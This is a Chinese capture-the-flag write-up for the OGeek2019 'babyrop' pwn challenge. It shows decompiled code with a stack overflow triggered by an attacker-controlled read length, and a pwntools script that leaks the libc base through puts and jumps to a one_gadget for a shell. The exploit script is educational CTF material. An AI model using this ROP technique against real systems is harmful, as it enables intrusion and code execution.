[OGeek2019]babyrop
题目链接:[OGeek2019]babyrop。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
部分函数如下。
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
解题思路:
- 第一次输入时,首先输入
\xFF字符绕过 strncmp 函数的比较。 - 通过输入
\xFF字符来控制 read 函数的读取字符数量,从而触发栈溢出。 - 控制程序执行流,调用 puts 函数泄露 LIBC 基址。
- 调用 One_GadGet。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .text:080485A0 public start
s(b"\x00" + b"\xFF" * 0x1F)
s((0xFFFFCDEC - 0xFFFFCD01) * b'a' + \
p32(ELF_FILE.plt['puts']) + p32(0x080485A0) + p32(ELF_FILE.got['read']))
LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['read']
leak("LIBC_ADDR", LIBC_ADDR)
s(b"\x00" + b"\xFF" * 0x1F)
# 调用 One_GadGet
s((0xFFFFCDEC - 0xFFFFCD01) * b'a' + \
p32(LIBC_ADDR + 0x3a80c))
irt()
pwn()

浙公网安备 33010602011771号